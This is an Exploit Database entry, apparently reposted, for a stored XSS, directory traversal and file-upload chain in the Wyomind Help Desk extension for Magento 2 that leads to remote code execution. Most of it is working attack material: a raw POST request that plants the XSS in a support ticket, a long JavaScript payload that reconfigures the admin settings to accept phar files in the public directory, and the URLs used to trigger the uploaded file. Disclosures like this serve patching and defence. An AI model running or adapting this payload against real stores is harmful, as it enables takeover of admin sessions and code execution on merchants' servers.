Wyomind Help Desk 1.3.6 – Remote Code Execution (RCE)

• Exploit Database
• 108 阅读

• 作者： Patrik Lantz
  日期： 2021-07-08
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50113/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219

  # Exploit Title: Wyomind Help Desk 1.3.6 - Remote Code Execution (RCE) # Date: 2021-07-07 # Exploit Author: Patrik Lantz # Vendor Homepage: https://www.wyomind.com/magento2/helpdesk-magento-2.html # Version: <= 1.3.6 # Tested on: Ubuntu 18.04-20.04, Apache, PHP 7.2, Magento 2     The Mangento 2 Help Desk extension from Wyomind up to and including version 1.3.6 is vunerable to stored XSS, directory traversal andunrestricted upload of a dangerous file type. These vulnerabilites combined could lead to code execution.   A XSS payload can be sent via the ticket message from the front-end in the &apos;Support - My tickets&apos; section. The payload is triggered when an administrator views the ticket in the Magento 2 backend. The following request enable the delivery of the XSS payload:   POST /helpdesk/customer/ticket_save/ HTTP/1.1 Host: <redacted> Content-Type: multipart/form-data; boundary=---------------------------243970849510445067673127196635 Content-Length: 683 Origin: https://<redacted> Connection: close Referer: https://<redacted>/helpdesk/customer/ticket_view/ Cookie: <redacted> Upgrade-Insecure-Requests: 1   -----------------------------243970849510445067673127196635 Content-Disposition: form-data; name="form_key"   <redacted> -----------------------------243970849510445067673127196635 Content-Disposition: form-data; name="object"   Hello -----------------------------243970849510445067673127196635 Content-Disposition: form-data; name="message_cc"     -----------------------------243970849510445067673127196635 Content-Disposition: form-data; name="content"   <p><script>alert(1)</script></p> -----------------------------243970849510445067673127196635 Content-Disposition: form-data; name="hideit"     -----------------------------243970849510445067673127196635--       The following XSS payload shown below can be used to trigger   1) Enabling file attachments in ticket messages 2) Adding &apos;phar&apos; to allowed file extensions 3) Setting the attachment directory to &apos;helpdesk/files/../../../pub&apos;     <script> function successListener(e) { var doc = e.target.response var action=doc.getElementById(&apos;config-edit-form&apos;).action; function submitRequest() { var formKey = FORM_KEY; var xhr = new XMLHttpRequest(); xhr.open("POST", action, true); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------14303502862141221692667966053"); xhr.withCredentials = true; var body = "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"form_key\"\r\n" + "\r\n" + formKey + "\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_license]\"\r\n" + "\r\n" + "0\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_general]\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[general][fields][enabled][value]\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[general][fields][log][value]\"\r\n" + "\r\n" + "0\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[general][fields][default_email][value]\"\r\n" + "\r\n" + "\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[general][fields][default_status][value]\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[general][fields][pending_status][value]\"\r\n" + "\r\n" + "2\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[general][fields][closed_status][value]\"\r\n" + "\r\n" + "3\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[general][fields][ticket_prefix][value]\"\r\n" + "\r\n" + "10000\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend]\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[frontend][fields][menu_label][value]\"\r\n" + "\r\n" + "Support - My Tickets\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[frontend][fields][top_link_enabled][value]\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[frontend][fields][attachments][value]\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend_attachments_settings]\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_extension][value]\"\r\n" + "\r\n" + "jpeg,gif,png,pdf,phar\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_directory_path][value]\"\r\n" + "\r\n" + "helpdesk/files/../../../pub\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_upload_max_filesize][value]\"\r\n" + "\r\n" + "2M\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_post_max_size][value]\"\r\n" + "\r\n" + "4M\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails]\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails_customer_settings]\"\r\n" + "\r\n" + "0\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][confirmation_enabled][value]\"\r\n" + "\r\n" + "0\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][confirmation_content][value]\"\r\n" + "\r\n" + "Dear {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n" + "Your message has been sent to the support team.\r\n" + "Here is the message content:\x3cbr/\x3e\r\n" + "\"{{message}}\" \x3cbr/\x3e\x3cbr/\x3e\r\n" + "Kind Regards,\r\n" + "The Support Team.\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][notification_enabled][value]\"\r\n" + "\r\n" + "0\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][notification_content][value]\"\r\n" + "\r\n" + "Hello {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n" + "Your ticket \"{{ticket_object}}\" (#{{prefixed_id}}) has been updated.\r\n" + "Please login to your account via this link in order to see the new message: {{customer_account_link}}\x3cbr/\x3e\x3cbr/\x3e\r\n" + "Regards,\r\n" + "The Support Team.\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails_support_team_settings]\"\r\n" + "\r\n" + "0\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[emails][groups][support_team_settings][fields][notification_enabled][value]\"\r\n" + "\r\n" + "0\r\n" + "-----------------------------14303502862141221692667966053\r\n" + "Content-Disposition: form-data; name=\"groups[emails][groups][support_team_settings][fields][notification_content][value]\"\r\n" + "\r\n" + "You received a new message from a customer.\r\n" + "-----------------------------14303502862141221692667966053--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); } var request = new XMLHttpRequest(); request.onload = successListener; request.responseType = &apos;document&apos;; request.open(&apos;GET&apos;, document.querySelector(&apos;[data-ui-id="menu-wyomind-helpdesk-configuration"]&apos;).querySelector(&apos;a&apos;).href, true); request.send(); </script>   After the XSS payload is executed, it is possible to upload a phar file by attaching files to ticket messages. Upon successful upload, the uploaded files can be requested to trigger the execution of it by requesting   https://[HOSTNAME]/<ticketId>/<messageId>/filename.phar   ticketId and messageId can be identified after sending the ticket message with the attached phar file. The ticketId is visible in the URL, for example:   https://[HOSTNAME]/helpdesk/customer/ticket_view/ticket_id/7/   and the messageId can be identified by hovering over the uploaded file link which will be similar to   https://[HOSTNAME]/helpdesk/customer/message_downloadAttachment/message/40/file/filename.phar   in this case, the messageId is 40.